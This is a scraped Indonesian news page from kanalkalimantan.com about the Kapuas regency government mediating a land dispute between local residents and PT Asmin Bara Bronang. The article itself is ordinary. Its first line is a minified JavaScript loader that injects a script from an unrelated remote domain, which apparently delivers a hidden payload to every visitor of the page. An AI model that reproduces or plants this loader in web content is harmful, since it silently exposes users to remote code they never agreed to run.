(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pemkab Kapuas Fasilitasi Penyelesaian Konflik Lahan Masyarakat – PT Asmin Bara Bronang


KANALKALIMANTAN.COM, KUALA KAPUAS – Pemerintah Kabupaten Kapuas melalukan mediasi sengketa pertanahan antara masyarakat Kecamatan Kapuas Tengah dan PT Asmin Bara Bronang dalam sebuah rapat di ruang rapat kantor Bupati Kapuas, Kamis (5/2/2026) siang.

Rapat mediasi tersebut dipimpin Sekretaris Daerah Kabupaten Kapuas Usis I Sangkai dihadiri Asisten II Sekretariat Daerah Kapuas, perwakilan PT Asmin Bara Bronang, Camat Kapuas Tengah, organisasi perangkat daerah terkait, serta kepolisian.

Dalam pertemuan, para pihak menyepakati pembentukan Tim Fasilitasi Sengketa Pertanahan akan melakukan pengecekan langsung ke lapangan.

Baca juga: Pemkab Kapuas Pastikan Lokasi Tak Bermasalah untuk Program Cetak Sawah Rakyat

Tim dijadwalkan bertemu dengan masyarakat yang merasa dirugikan atas objek lahan yang menjadi klaim sengketa. Kegiatan tersebut direncanakan
berlangsung pada Kamis 12 Februari 2026 mendatang.

Sekda Usis menegaskan posisi pemerintah daerah sebagai fasilitator dan mediator yang mengedepankan keadilan, transparansi, serta kepastian hukum.

Menurutnya, seluruh proses penyelesaian sengketa akan dilakukan secara objektif dan sesuai dengan ketentuan peraturan perundang-undangan.

“Pemerintah Kabupaten Kapuas akan menindaklanjuti persoalan ini melalui pengecekan lapangan dan dialog langsung dengan masyarakat,” kata Usis.

Baca juga: Wali Kota Yamin Melantik 124 Pejabat Baru

Sekda mengimbau seluruh pihak yang terlibat agar menjaga situasi tetap kondusif selama proses penanganan sengketa berlangsung.

“Apabila terdapat pelanggaran terhadap ketentuan dan peraturan perundang-undangan, tentu akan ditindak sesuai aturan yang berlaku,” ujarnya.

Melalui proses mediasi dan fasilitasi ini, Pemerintah Kabupaten Kapuas berharap sengketa pertanahan dapat diselesaikan secara damai dan bermartabat.

Baca juga: Tata Kelola Naskah Tertib Administrasi, Dispersip HSU Sosialisasi Perbup 41/2025

“Pemerintah menargetkan terciptanya kepastian hukum bagi seluruh pihak sekaligus menjaga stabilitas keamanan dan ketertiban di wilayah Kecamatan Kapuas Tengah,” pungkas Usis. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Risa

Recent Posts

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

2 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

3 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

3 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

4 jam ago

Penataan Blok Pasar di Kawasan Jalan Jenderal Sudirman, Pemkab Kapuas Siapkan Relokasi

KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More

20 jam ago

Pimpin Rakor Mingguan, Bupati Soroti Pengelolaan Taman CBS

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More

22 jam ago

This website uses cookies.